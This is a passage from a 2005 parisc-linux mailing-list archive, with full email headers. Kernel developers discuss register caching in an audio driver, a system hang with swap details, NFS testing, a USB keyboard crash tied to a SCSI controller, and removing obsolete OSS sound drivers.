	by free.linux.hp.com (Postfix) with ESMTP id D86227D77C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 11:41:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07970-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 11:41:28 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4C0677D77A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 11:41:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A9025298013;
	Fri, 19 Aug 2005 11:46:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12164-09; Fri, 19 Aug 2005 11:46:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 01420298026; Fri, 19 Aug 2005 11:46:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.HPX.4.33n.0508171249360.19860-200000@studcom.urz.uni-halle.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gXx0Y0JGeSEka76WZHQhaXN1IGRvb8B2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23113

On Thu, Aug 18, 2005 at 05:35:20PM +0200, Clemens Ladisch wrote:
...
> > reading the patch through webmail doesn't help a lot getting a grasp
> > of its whole but i wonder if we could still find some debugging
> > purposes for these values. Remember this driver is work in progress ;)
> 
> Those fields just aren't used anymore; anything interesting is in the
> chip's registers.

Clemens,
You don't want to be reading chip registers all the time.
It's *very* expensive. Cache any values that don't change
in a local struct if they get referenced regularly.

You might find the mmio_test results interesting.
It would be great if you could add one or two audio devices
to mmio_test program here:
	svn co http://svn.gnumonks.org/trunk/mmio_test/

Please send a patch to Harald Welte <laforge@gnumonks.org>.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Latest 2.6.13-rc6-pa2 test pr :_(
Date: Fri, 19 Aug 2005 14:41:41 -0400 (EDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200508191841.j7JIffAq013241@hiauly1.hia.nrc.ca>
References: <4305FA88.9040404@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623909 16536 80.91.229.3 (22 Nov 2014 02:38:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org (Randolph Chung)
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Aug 2005 18:41:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 19 Aug 2005 20:41:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6379D7D78A;
	Fri, 19 Aug 2005 12:41:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08773-03; Fri, 19 Aug 2005 12:41:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1A837D78C;
	Fri, 19 Aug 2005 12:41:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 446CD7D789
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 12:41:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08588-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 12:41:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9DAB87D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Aug 2005 12:41:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j7JIfgnV013242; Fri, 19 Aug 2005 14:41:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j7JIffAq013241;
	Fri, 19 Aug 2005 14:41:41 -0400 (EDT)
In-Reply-To: <4305FA88.9040404@tausq.org> from "Randolph Chung" at Aug 19,
	2005 11:28:08 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uUJ0Ywt9eSEkSr6WZHQhaXN1IGRvb4Bx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23114

> > TOC:
> > 
> > r2	__handle_mm_fault+0x68  (return from call to pte_alloc_map)
> > IIA	__handle_mm_fault+0x190
> > 
> > It looks as if this might have been caused by Process_3.exe in the
> > libjava GCC testsuite.
> 
> Does it always hang in the same place? How much RAM/swap do you have in 
> your system? Does it hang more/less if you disable swap?

I've seen this fault before.  I don't have enough data at this point
with 2.6.13 to say it always hangs in the same place.

RAM: 1GB

SWAP:
root@hiauly6:/home/dave# cat /proc/swaps
Filename                                Type            Size    Used    Priority
/dev/sdb1                               partition       265032  0       -1
/dev/sda1                               partition       263144  0       -2

dave@hiauly6:~$ ulimit -v
524288

The above limit was sufficient to prevent the as crash associated with
the 1GB .block directive.

I don't know the answer to the last question at this time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Results from NFS hang tests
Date: Mon, 08 Aug 2005 19:27:34 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <42F7B226.5040501@tiscali.be>
References: <42E27D23.4050601@excelcia.org> <20050729081920.GU5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623910 16538 80.91.229.3 (22 Nov 2014 02:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 19:28:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 08 Aug 2005 21:28:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EEB37D692;
	Mon,  8 Aug 2005 13:28:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10575-07; Mon, 8 Aug 2005 13:28:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B17997D688;
	Mon,  8 Aug 2005 13:28:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C97F67D679
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:28:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10575-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Aug 2005 13:28:09 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id DB8937D676
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:28:08 -0600 (MDT)
Original-Received: from ([80.236.202.112]) 
	by guri.is.scarlet.be  with ESMTP id j78JRY212957; 
	Mon, 8 Aug 2005 21:27:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.10) Gecko/20050802 Debian/1.7.10-1
X-Accept-Language: en
In-Reply-To: <20050729081920.GU5500@levanta.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AdeFYplzeSEkYr6WZHQhaXN1IGRvbwDL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23115



Richard Hirst wrote:
> Just for the record, I'm running  2.6.13-rc3-pa0 built locally
> with gcc 4.0.1 on a B180 with a 4G disk, and have run your 'dd'
> test for 88 cycles so far without any problems.  The nfs mount
> is from a linux box running Fedora Core 3.
> 
> Richard
> 
Hello Richard,

May I ask your NFS kernel config?

(it seems to work fine for me too but without nfs v4;
btw I now manage my ft with ssh (may be stunnel and rsync would be a better sol?) so I spend less time for more test?)

Thank in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Schnelle <svens@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] USB Keyboard problems on C3600
Date: Mon, 08 Aug 2005 21:46:20 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <87oe882ovn.fsf@deprecated.intranet.astaro.de>
References: <874qa39yqm.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1283354566=="
X-Trace: ger.gmane.org 1416623910 16540 80.91.229.3 (22 Nov 2014 02:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Aug 2005 19:46:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 08 Aug 2005 21:46:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3E3D7D6BA;
	Mon,  8 Aug 2005 13:46:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11315-01; Mon, 8 Aug 2005 13:46:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42EE87D680;
	Mon,  8 Aug 2005 13:46:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E12DC7D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:46:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11082-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 Aug 2005 13:46:32 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E03BC7D67B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 Aug 2005 13:46:31 -0600 (MDT)
Original-Received: (qmail invoked by alias); 08 Aug 2005 19:46:30 -0000
Original-Received: from i3ED6E093.versanet.de (EHLO deprecated.intranet.astaro.de)
	[62.214.224.147]
	by mail.gmx.net (mp017) with SMTP; 08 Aug 2005 21:46:30 +0200
X-Authenticated: #21330363
Original-Received: from [127.0.0.1] (helo=deprecated.intranet.astaro.de)
	by deprecated.intranet.astaro.de with esmtp (Exim 4.52)
	id 1E2DZk-0008Ci-Sr
	for parisc-linux@lists.parisc-linux.org; Mon, 08 Aug 2005 21:46:20 +0200
In-Reply-To: <874qa39yqm.fsf@deprecated.intranet.astaro.de> (Sven Schnelle's
	message of "Sat, 06 Aug 2005 11:54:41 +0200")
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9NOFYiFTeSEkSb6WZHQhaXN1IGRvb4CF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23116

--===============1283354566==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha1; protocol="application/pgp-signature"

--=-=-=
Content-Transfer-Encoding: quoted-printable

Hi,

Sven Schnelle <svens@gmx.de> writes:

Just speaking to me, myself and i:

> i have a MAC USB Keyboard, which won't work with the builtin USB
> Controller of the C3600. If i connect it, i get this error messages:
> [..]
> Now i use a PCI USB Controller, and with this the keyboard is working
> fine, the only bad thing is that the Kernel crashes after 1-2h:
> [Kernel-oops-Backtrace]

Ok, this oops happens only if i have a Tekram DC-390U2W (SYM53C895
Chipset) SCSI Controller running in this system. After i removed it, the
kernel never crashed again. Unfortunately, this doen't mean that the
Keyboard is working the Onboard USB Controller. But at least its now
running fine with an PCI USB Controller.

Sven.
=2D-=20
"The number of Unix installations has grown to ten,  with more
 expected." (Unix Programmer's Manual, 2nd ed.; june 1972)

--=-=-=
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQBC97aM86MdxiXaIbERAgf5AKDORN7zWhHyriI4ulMwsoq/zqGHqgCfXblD
rKzedOwI6H3V3QDVva6J0oI=
=v3E/
-----END PGP SIGNATURE-----
--=-=-=--

--===============1283354566==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1283354566==--



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Revell <rlrevell@joe-job.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal (version 2)
Date: Tue, 09 Aug 2005 13:13:51 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <1123607633.5601.7.camel__44384.1938431889$1416623910$gmane$org@mindpipe>
References: <20050729153226.GE3563@stusta.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623910 16543 80.91.229.3 (22 Nov 2014 02:38:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:30 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 alsa-devel@alsa-project.org,
 Christoph Eckert <ce@christeck.de>,
 zaitcev@yahoo.com,
 kyle@parisc-linux.org,
 James@superbug.demon.co.uk,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 sailer@ife.ee.ethz.ch,
 parisc-linux@lists.parisc-linux.org,
 zab@zabbo.net,
 jgarzik@pobox.com,
 perex@suse.cz
To: Adrian Bunk <bunk@stusta.de>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2005 17:15:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 09 Aug 2005 19:15:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 241617D67D;
	Tue,  9 Aug 2005 11:15:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17632-04; Tue, 9 Aug 2005 11:15:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8496E7D680;
	Tue,  9 Aug 2005 11:15:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3406B7D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:15:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17464-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 Aug 2005 11:15:31 -0600 (MDT)
Original-Received: from viper.oldcity.dca.net (viper.oldcity.dca.net [216.158.38.4])
	by free.linux.hp.com (Postfix) with SMTP id 637047D677
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 Aug 2005 11:15:31 -0600 (MDT)
Original-Received: (qmail 17998 invoked from network); 9 Aug 2005 17:15:29 -0000
Original-Received: from unknown (HELO ?192.168.1.47?) (70.20.190.216)
	by viper with SMTP; 9 Aug 2005 17:15:29 -0000
In-Reply-To: <20050729153226.GE3563@stusta.de>
X-Mailer: Evolution 2.3.6.1 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6IGKYoEReSEkdL6WZHQhaXN1IGRvb0Ck
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23117

On Fri, 2005-07-29 at 17:32 +0200, Adrian Bunk wrote:
> This patch schedules obsolete OSS drivers (with ALSA drivers that 
> support the same hardware) for removal.
> 
> Scheduling the via82cxxx driver for removal was ACK'ed by Jeff Garzik.
> 

Someone on linux-audio-user just pointed out that the OSS USB audio and
midi modules were never deprecated, much less scheduled to be removed.

Maybe the best way to deprecate them is to move them to Sound -> OSS,
that's where they belong anyway.

Lee

On Tue, 2005-08-09 at 18:42 +0200, Christoph Eckert wrote: 
> > Recompile the kernel with USB audio support.
> 
> Please ensure that you *disable* => Devioce drivers => USB => 
> USB audio and USB Midi.
> 
> Both are OSS modules and caused a lot of trouble here when 
> used in conjunction with the ALSA module
> 
> => Sound => ALSA => USB devices => USB Audio/MIDI driver
> 
> 
> BTW: OSS is marked as deprecated, but not the two OSS modules 
> mentioned above. Couldn't this get set or at least some info 
> that these modules belong to OSS?


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@stusta.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [2.6 patch] schedule obsolete OSS drivers for
	removal (version 2)
Date: Tue, 9 Aug 2005 19:49:06 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20050809174906.GA4006__1558.8607792326$1416623911$gmane$org@stusta.de>
References: <20050729153226.GE3563@stusta.de>
	<1123607633.5601.7.camel@mindpipe>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623911 16545 80.91.229.3 (22 Nov 2014 02:38:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:31 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 alsa-devel@alsa-project.org,
 Christoph Eckert <ce@christeck.de>,
 zaitcev@yahoo.com,
 James@superbug.demon.co.uk,
 Thorsten Knabe <linux@thorsten-knabe.de>,
 linux-kernel@vger.kernel.org,
 linux-sound@vger.kernel.org,
 kyle@parisc-linux.org,
 parisc-linux@lists.parisc-linux.org,
 zab@zabbo.net,
 jgarzik@pobox.com,
 perex@suse.cz,
 linux-usb-devel@lists.sourceforge.net
To: Lee Revell <rlrevell@joe-job.com>,
 gregkh@suse.de,
 NAGANO Daisuke <breeze.nagano@nifty.ne.jp>,
 alan@lxorguk.ukuu.org.uk,
 sailer@ife.ee.ethz.ch
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Aug 2005 17:49:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 09 Aug 2005 19:49:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
